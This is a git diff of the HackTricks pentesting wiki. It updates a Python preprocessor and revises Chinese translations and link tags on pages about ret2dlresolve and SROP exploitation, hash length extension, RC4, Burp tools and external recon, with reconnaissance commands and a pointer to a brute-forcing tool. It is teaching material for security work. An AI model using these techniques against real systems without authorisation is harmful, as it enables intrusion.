diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index fedfdef99..b3186537d 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -69,6 +69,12 @@ def ref(matchobj): return result +def add_read_time(content): + regex = r'(<\/style>\n# .*(?=\n))' + new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content) + return new_content + + def iterate_chapters(sections): if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section return @@ -99,6 +105,7 @@ if __name__ == '__main__': current_chapter = chapter regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}' new_content = re.sub(regex, ref, chapter['content']) + new_content = add_read_time(new_content) chapter['content'] = new_content content = json.dumps(book) diff --git a/src/README.md b/src/README.md index 906a8dbec..d34b89f64 100644 --- a/src/README.md +++ b/src/README.md @@ -1,13 +1,10 @@ # HackTricks -阅读时间: {{ #reading_time }} -
-_Hacktricks 标志和动态设计由_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._ -> [!TIP] -> **欢迎来到这个维基,在这里你将找到我从CTF、现实应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。** +> [!TIP] > **欢迎来到这个维基,在这里你将找到我从CTF、现实生活应用、阅读研究和新闻中学到的每一个黑客技巧/技术/无论是什么。** 要开始,请遵循此页面,在这里你将找到**你在进行一个或多个机器的渗透测试时应该遵循的典型流程:** @@ -15,7 +12,7 @@ _Hacktricks 标志和动态设计由_ [_@ppiernacho_](https://www.instagram.com/ generic-methodologies-and-resources/pentesting-methodology.md {{#endref}} -## 企业赞助商 +## Corporate Sponsors ### [STM Cyber](https://www.stmcyber.com) @@ -33,9 +30,11 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**,是技术和网络安全专业人士在各个学科的一个热闹的交流点。 +[**RootedCON**](https://www.rootedcon.com) 是**西班牙**最重要的网络安全事件之一,也是**欧洲**最重要的活动之一。这个大会的**使命是促进技术知识**,是各个学科的技术和网络安全专业人士的热烈交流点。 -{% embed url="https://www.rootedcon.com/" %} +{{#ref}} +https://www.rootedcon.com/ +{{#endref}} --- @@ -45,9 +44,11 @@ generic-methodologies-and-resources/pentesting-methodology.md **Intigriti** 是**欧洲第一**的道德黑客和**漏洞赏金平台**。 -**漏洞赏金提示**:**注册** **Intigriti**,这是一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金! +**漏洞赏金提示**:**注册** **Intigriti**,这是一个由黑客为黑客创建的高级**漏洞赏金平台**!今天就加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金! -{% embed url="https://go.intigriti.com/hacktricks" %} +{{#ref}} +https://go.intigriti.com/hacktricks +{{#endref}} --- @@ -60,7 +61,9 @@ generic-methodologies-and-resources/pentesting-methodology.md 今天就获取访问权限: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} --- @@ -74,7 +77,7 @@ generic-methodologies-and-resources/pentesting-methodology.md - **实时黑客新闻**:通过实时新闻和见解,跟上快速变化的黑客世界 - **最新公告**:了解最新的漏洞赏金发布和重要平台更新 -**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),开始与顶级黑客合作! +**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),开始与顶级黑客合作吧! --- @@ -86,7 +89,9 @@ generic-methodologies-and-resources/pentesting-methodology.md **查找并报告具有实际商业影响的关键、可利用的漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让你提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将你的辛勤工作转化为有说服力的报告。 -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} +{{#ref}} +https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons +{{#endref}} --- @@ -96,12 +101,12 @@ generic-methodologies-and-resources/pentesting-methodology.md **SerpApi** 提供快速且简单的实时API,以**访问搜索引擎结果**。他们抓取搜索引擎,处理代理,解决验证码,并为你解析所有丰富的结构化数据。 -订阅SerpApi的计划之一包括访问超过50个不同的API,用于抓取不同的搜索引擎,包括Google、Bing、百度、Yahoo、Yandex等。\ -与其他提供商不同,**SerpApi不仅仅抓取自然结果**。SerpApi的响应始终包括所有广告、内联图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。 +订阅SerpApi的计划之一包括访问50多个不同的API,用于抓取不同的搜索引擎,包括Google、Bing、百度、Yahoo、Yandex等。\ +与其他提供商不同,**SerpApi不仅仅抓取自然结果**。SerpApi的响应始终包括所有广告、内嵌图像和视频、知识图谱以及搜索结果中存在的其他元素和功能。 当前的SerpApi客户包括**Apple、Shopify和GrubHub**。\ -有关更多信息,请查看他们的[**博客**](https://serpapi.com/blog/)**,**或在他们的[**游乐场**](https://serpapi.com/playground)**中尝试一个示例。**\ -你可以在[**这里**](https://serpapi.com/users/sign_up)**创建一个免费账户。** +有关更多信息,请查看他们的 [**博客**](https://serpapi.com/blog/)**,**或在他们的 [**游乐场**](https://serpapi.com/playground)**中尝试示例。**\ +你可以在 [**这里**](https://serpapi.com/users/sign_up)** 创建一个免费账户。** --- @@ -111,7 +116,9 @@ generic-methodologies-and-resources/pentesting-methodology.md 学习执行漏洞研究、渗透测试和逆向工程所需的技术和技能,以保护移动应用和设备。通过我们的按需课程**掌握iOS和Android安全**并**获得认证**: -{% embed url="https://academy.8ksec.io/" %} +{{#ref}} +https://academy.8ksec.io/ +{{#endref}} --- @@ -119,17 +126,19 @@ generic-methodologies-and-resources/pentesting-methodology.md
-[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,帮助**保护**全球企业免受最新网络安全威胁,通过提供**进攻性安全服务**以**现代**的方式。 +[**WebSec**](https://websec.nl) 是一家总部位于**阿姆斯特丹**的专业网络安全公司,帮助**保护**全球各地的企业免受最新网络安全威胁,通过提供**进攻性安全服务**以**现代**的方式。 -WebSec 是一家**一体化安全公司**,这意味着他们做所有事情;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等等。 +WebSec 是一家**一体化安全公司**,这意味着他们可以做所有事情;渗透测试、**安全**审计、意识培训、网络钓鱼活动、代码审查、漏洞开发、安全专家外包等等。 -WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的技能**非常自信**,以至于他们**保证最佳质量结果**,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的[**网站**](https://websec.nl/en/)和[**博客**](https://websec.nl/blog/)! +WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的技能**非常自信**,甚至到**保证最佳质量结果**的程度,他们在网站上声明“**如果我们无法攻破它,你就不需要支付!**”。有关更多信息,请查看他们的 [**网站**](https://websec.nl/en/) 和 [**博客**](https://websec.nl/blog/)! -除了上述内容,WebSec 还是**HackTricks的坚定支持者**。 +除了上述内容,WebSec 还是 **HackTricks** 的坚定支持者。 -{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} +{{#ref}} +https://www.youtube.com/watch?v=Zq2JycGDCPM +{{#endref}} -## 许可证和免责声明 +## License & Disclaimer 查看他们在: @@ -137,8 +146,8 @@ WebSec的另一个酷点是,与行业平均水平不同,WebSec对他们的 welcome/hacktricks-values-and-faq.md {{#endref}} -## Github 统计 +## Github Stats -![HackTricks Github 统计](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg) +![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg) {{#include ./banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md index 6691e3599..6eb9d5af9 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md @@ -4,7 +4,7 @@ ## 基本信息 -正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中所解释的,缺少完整 Relro 的二进制文件在第一次使用时会解析符号(如外部库的地址)。这种解析通过调用函数 **`_dl_runtime_resolve`** 进行。 +正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中解释的,缺少完整 Relro 的二进制文件在第一次使用时会解析符号(如外部库的地址)。这种解析通过调用函数 **`_dl_runtime_resolve`** 进行。 **`_dl_runtime_resolve`** 函数从栈中获取对一些它需要的结构的引用,以便 **解析** 指定的符号。 @@ -13,11 +13,13 @@ 通常,所有这些结构都是通过制作一个 **初始 ROP 链来调用 `read`** 在可写内存上,然后将 **结构** 和字符串 **`'/bin/sh'`** 传递,以便它们被读取存储在已知位置,然后 ROP 链继续通过调用 **`_dl_runtime_resolve`**,使其 **解析 `system` 的地址** 在伪造的结构中,并 **使用 `$'/bin/sh'` 的地址调用该地址**。 > [!TIP] -> 如果没有 syscall gadgets(使用诸如 [**ret2syscall**](rop-syscall-execv/) 或 [SROP](srop-sigreturn-oriented-programming/) 等技术),并且没有方法泄漏 libc 地址,这种技术特别有用。 +> 如果没有 syscall gadgets(使用诸如 [**ret2syscall**](rop-syscall-execv/) 或 [SROP](srop-sigreturn-oriented-programming/) 的技术),并且没有方法泄漏 libc 地址,这种技术特别有用。 -查看这个视频,了解该技术在视频后半部分的精彩解释: +查看这个视频,了解关于这种技术的精彩解释,视频的后半部分: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} 或者查看这些页面以获取逐步解释: @@ -186,6 +188,6 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) -- 32位,无relro,无canary,nx,无pie,基本的小缓冲区溢出和返回。为了利用它,bof被用来再次调用`read`,使用一个`.bss`段和更大的大小,将`dlresolve`伪表存储在其中,以加载`system`,返回到main并重新利用初始bof调用dlresolve,然后`system('/bin/sh')`。 +- 32位,无relro,无canary,nx,无pie,基本的小缓冲区溢出和返回。为了利用它,bof被用来再次调用`read`,使用一个`.bss`段和更大的大小,以在其中存储`dlresolve`伪表以加载`system`,返回到main并重新利用初始bof调用dlresolve,然后`system('/bin/sh')`。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 8af61b903..28157fec4 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -6,12 +6,12 @@ **`Sigreturn`** 是一个特殊的 **syscall**,主要用于在信号处理程序完成其执行后进行清理。信号是操作系统发送给程序的中断,通常用于指示发生了一些异常情况。当程序接收到信号时,它会暂时暂停当前工作,以通过 **信号处理程序** 处理信号,这是一种专门用于处理信号的函数。 -在信号处理程序完成后,程序需要 **恢复其先前的状态**,就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**,并通过清理信号处理程序使用的堆栈帧(存储函数调用和局部变量的内存区域)来恢复程序的状态。 +在信号处理程序完成后,程序需要 **恢复其先前的状态**,就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**,并通过清理信号处理程序使用的栈帧(存储函数调用和局部变量的内存区域)来恢复程序的状态。 -有趣的是 **`sigreturn`** 是如何恢复程序状态的:它通过将 **所有 CPU 的寄存器值存储在堆栈上** 来实现。当信号不再被阻塞时,**`sigreturn` 从堆栈中弹出这些值**,有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前堆栈顶部的堆栈指针寄存器(RSP)。 +有趣的是 **`sigreturn`** 是如何恢复程序状态的:它通过将 **所有 CPU 的寄存器值存储在栈上** 来实现。当信号不再被阻塞时,**`sigreturn` 从栈中弹出这些值**,有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前栈顶的栈指针寄存器(RSP)。 > [!CAUTION] -> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到堆栈中的寄存器值**,可以 **控制** 所有寄存器值,因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。 +> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到 **栈** 中的寄存器值,可以 **控制** 所有寄存器值,因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。 请注意,这将是一种 **Ret2syscall** 类型,使得控制参数以调用其他 Ret2syscalls 变得更加容易: @@ -19,7 +19,7 @@ ../rop-syscall-execv/ {{#endref}} -如果你感兴趣,这是存储在堆栈中的 **sigcontext 结构**,以便稍后恢复值(图表来自 [**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): +如果你感兴趣,这是存储在栈中的 **sigcontext 结构**,以便稍后恢复值(图示来自 [**这里**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): ``` +--------------------+--------------------+ | rt_sigeturn() | uc_flags | @@ -57,11 +57,13 @@ ``` 为了更好的解释,请查看: -{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} +{{#ref}} +https://youtu.be/ADULSwnQs-s?feature=shared +{{#endref}} ## 示例 -您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop),其中通过 ROP 构造对 signeturn 的调用(将值 `0xf` 放入 rxa),尽管这只是最终的利用: +您可以在[**这里找到一个示例**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop),其中通过 ROP 构造了对 signeturn 的调用(将值 `0xf` 放入 rxa),尽管这只是最终的利用: ```python from pwn import * @@ -132,8 +134,8 @@ target.interactive() - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - 64位,无relro,无canary,nx,无pie。简单的缓冲区溢出,利用`gets`函数,缺乏执行[**ret2syscall**](../rop-syscall-execv/)的gadgets。ROP链通过再次调用gets将`/bin/sh`写入`.bss`,利用**`alarm`**函数将eax设置为`0xf`以调用**SROP**并执行一个shell。 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- 64位汇编程序,无relro,无canary,nx,无pie。流程允许在栈中写入,控制多个寄存器,并调用系统调用,然后调用`exit`。选择的系统调用是`sigreturn`,它将设置寄存器并移动`eip`以调用先前的系统调用指令,并运行`memprotect`将二进制空间设置为`rwx`并设置ESP在二进制空间中。按照流程,程序将再次调用read到ESP,但在这种情况下ESP将指向下一个指令,因此传递一个shellcode将其写为下一个指令并执行。 +- 64位汇编程序,无relro,无canary,nx,无pie。流程允许在栈中写入,控制多个寄存器,并调用系统调用,然后调用`exit`。选择的系统调用是`sigreturn`,它将设置寄存器并移动`eip`以调用先前的系统调用指令并运行`memprotect`以将二进制空间设置为`rwx`并设置ESP在二进制空间中。按照流程,程序将再次调用read到ESP,但在这种情况下ESP将指向下一个指令,因此传递一个shellcode将其写为下一个指令并执行。 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) -- SROP用于赋予执行权限(memprotect)给放置shellcode的地方。 +- SROP用于为放置shellcode的地方赋予执行权限(memprotect)。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/burp-suite.md b/src/burp-suite.md index e35fd1720..7dcc29706 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -10,7 +10,9 @@ [https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : 用于执行命令并通过 DNS 请求获取输出的有效载荷到 burpcollab。 -{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} +{{#ref}} +https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e +{{#endref}} [https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator) diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 05c2aadbe..fbdd41a51 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -48,7 +48,9 @@ Take it to the top Whisper my world ``` -{% embed url="https://codewithrockstar.com/" %} +{{#ref}} +https://codewithrockstar.com/ +{{#endref}} ## PETOOH ``` diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 4c274ae84..1ee0e95dd 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -11,13 +11,13 @@ - **算法(并且它对这种攻击是脆弱的)** - **填充是已知的** - 通常使用默认填充,因此如果满足其他三个要求,这也是 -- 填充根据秘密+数据的长度而变化,这就是为什么需要知道秘密的长度 +- 填充根据秘密+数据的长度而变化,这就是为什么需要秘密的长度 那么,**攻击者**可以**附加****数据**并为**之前的数据 + 附加的数据**生成一个有效的**签名**。 ### 如何? -基本上,脆弱的算法首先通过**哈希一个数据块**来生成哈希,然后,从**之前**创建的**哈希**(状态)中,他们**添加下一个数据块**并**对其进行哈希**。 +基本上,脆弱的算法首先通过**哈希一个数据块**来生成哈希,然后,从**之前**创建的**哈希**(状态)中,他们**添加下一个数据块**并**哈希它**。 然后,想象秘密是“secret”,数据是“data”,"secretdata"的MD5是6036708eba0d11f6ef52ad44e8b74d5b。\ 如果攻击者想要附加字符串“append”,他可以: @@ -29,10 +29,12 @@ ### **工具** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} -### 参考 +### 参考文献 -你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对此攻击的详细解释。 +你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对这个攻击的详细解释。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index da841ca5b..30116f188 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,11 +1,15 @@ {{#include ../banners/hacktricks-training.md}} -如果你能以某种方式使用 RC4 加密明文,你可以仅使用加密函数解密任何使用相同密码加密的内容。 +如果你能够以某种方式使用 RC4 加密明文,你可以仅使用加密函数解密任何使用相同密码加密的内容。 -如果你能加密已知的明文,你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到: +如果你可以加密已知的明文,你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/hash-length-extension-attack.md b/src/cryptography/hash-length-extension-attack.md index 1940a74b2..92d3886b2 100644 --- a/src/cryptography/hash-length-extension-attack.md +++ b/src/cryptography/hash-length-extension-attack.md @@ -2,13 +2,13 @@ # 攻击总结 -想象一个服务器,它通过将一个**秘密**附加到一些已知的明文数据上并对该数据进行**签名**。如果你知道: +想象一个服务器,它通过将一个**秘密**附加到一些已知的明文数据上并对该数据进行**签名**来**签名**一些**数据**。如果你知道: -- **秘密的长度**(这也可以从给定的长度范围进行暴力破解) +- **秘密的长度**(这也可以从给定的长度范围中暴力破解) - **明文数据** - **算法(并且它对这种攻击是脆弱的)** - **填充是已知的** -- 通常使用默认填充,因此如果满足其他三个要求,这也是 +- 通常使用默认填充,因此如果满足其他3个要求,这也是 - 填充根据秘密+数据的长度而变化,这就是为什么需要秘密的长度 那么,**攻击者**可以**附加****数据**并为**之前的数据 + 附加的数据**生成一个有效的**签名**。 @@ -27,10 +27,12 @@ ## **工具** -{% embed url="https://github.com/iagox86/hash_extender" %} +{{#ref}} +https://github.com/iagox86/hash_extender +{{#endref}} ## 参考 -你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对这个攻击的详细解释。 +你可以在[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)找到对此攻击的详细解释。 {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md index da841ca5b..8fbac5d9b 100644 --- a/src/cryptography/rc4-encrypt-and-decrypt.md +++ b/src/cryptography/rc4-encrypt-and-decrypt.md @@ -4,8 +4,12 @@ 如果你能加密已知的明文,你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到: -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} -{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} +{{#ref}} +https://0xrick.github.io/hack-the-box/kryptos/ +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index c328cd25a..012b5529c 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -4,31 +4,31 @@ ## 资产发现 -> 所以你被告知某家公司拥有的一切都在范围内,你想弄清楚这家公司实际上拥有什么。 +> 所以你被告知某家公司所有的东西都在范围内,你想弄清楚这家公司实际上拥有些什么。 -这个阶段的目标是获取**主要公司拥有的所有公司**,然后获取这些公司的**资产**。为此,我们将: +这个阶段的目标是获取**母公司拥有的所有公司**,然后获取这些公司的**资产**。为此,我们将: -1. 找到主要公司的收购,这将给我们范围内的公司。 +1. 找到母公司的收购,这将给我们范围内的公司。 2. 找到每个公司的ASN(如果有的话),这将给我们每个公司拥有的IP范围。 3. 使用反向whois查找搜索与第一个相关的其他条目(组织名称、域名...)(这可以递归进行)。 4. 使用其他技术,如shodan `org`和`ssl`过滤器来搜索其他资产(`ssl`技巧可以递归进行)。 ### **收购** -首先,我们需要知道**主要公司拥有的其他公司**。\ -一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com),**搜索** **主要公司**,并**点击**“**收购**”。在那里你将看到主要公司收购的其他公司。\ -另一个选项是访问主要公司的**维基百科**页面并搜索**收购**。 +首先,我们需要知道**母公司拥有的其他公司**。\ +一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com),**搜索**母公司,并**点击**“**收购**”。在那里你将看到母公司收购的其他公司。\ +另一个选项是访问母公司的**维基百科**页面并搜索**收购**。 -> 好吧,在这一点上你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。 +> 好吧,到这个时候你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。 ### **ASNs** 自治系统编号(**ASN**)是由**互联网分配号码管理局(IANA)**分配给**自治系统**(AS)的**唯一编号**。\ -一个**AS**由**IP地址**的**块**组成,这些块具有明确的外部网络访问政策,并由单个组织管理,但可能由多个运营商组成。 +一个**AS**由**IP地址**的**块**组成,这些块有明确的政策来访问外部网络,并由单一组织管理,但可能由多个运营商组成。 -找出**公司是否分配了任何ASN**以查找其**IP范围**是很有趣的。对所有**范围内的主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\ -你可以在[**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域**进行**搜索**。\ -**根据公司的地区,这些链接可能对收集更多数据有用:**[**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/) **(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有**有用的信息**(IP范围和Whois)可能已经在第一个链接中出现。** +找出**公司是否分配了任何ASN**以查找其**IP范围**是很有趣的。对范围内的所有**主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\ +你可以在[**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域名**进行**搜索**。\ +**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/) **(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的** 有用信息 **(IP范围和Whois)**可能已经在第一个链接中出现。 ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla @@ -57,7 +57,7 @@ bbot -t tesla.com -f subdomain-enum ### **寻找漏洞** 此时我们已知 **范围内的所有资产**,因此如果您被允许,可以对所有主机启动一些 **漏洞扫描器**(Nessus, OpenVAS)。\ -此外,您还可以启动一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查阅本书了解如何对多个可能运行的服务进行渗透测试。\ +此外,您还可以启动一些 [**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查阅本书以了解如何对多个可能运行的服务进行渗透测试。\ **此外,值得一提的是,您还可以准备一些** 默认用户名 **和** 密码 **列表,并尝试使用 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) 进行** 暴力破解服务。 ## 域名 @@ -70,7 +70,7 @@ _请注意,在以下提出的技术中,您还可以找到子域名,这些 ### **反向 DNS** -由于您已找到域名的所有 IP 范围,您可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的某些 DNS 服务器或一些知名的 DNS 服务器(1.1.1.1, 8.8.8.8)。 +由于您已找到域名的所有 IP 范围,因此可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的某些 DNS 服务器或一些知名的 DNS 服务器(1.1.1.1, 8.8.8.8)。 ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -82,13 +82,13 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ### **反向 Whois(循环)** -在 **whois** 中,您可以找到很多有趣的 **信息**,例如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**(例如其他 whois 注册处中出现相同的电子邮件),您可以找到 **与公司相关的更多资产**。\ -您可以使用在线工具,例如: +在 **whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**(例如其他 whois 注册处中出现相同的电子邮件),您可以找到 **与公司相关的更多资产**。\ +您可以使用在线工具,如: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费** - [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **免费** - [https://www.reversewhois.io/](https://www.reversewhois.io) - **免费** -- [https://www.whoxy.com/](https://www.whoxy.com) - **免费** 网站,不免费 API。 +- [https://www.whoxy.com/](https://www.whoxy.com) - **免费**网站,不免费API。 - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 不免费 - [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费(仅 **100 次免费** 查询) - [https://www.domainiq.com/](https://www.domainiq.com) - 不免费 @@ -96,11 +96,11 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns 您可以使用 [**DomLink** ](https://github.com/vysecurity/DomLink) 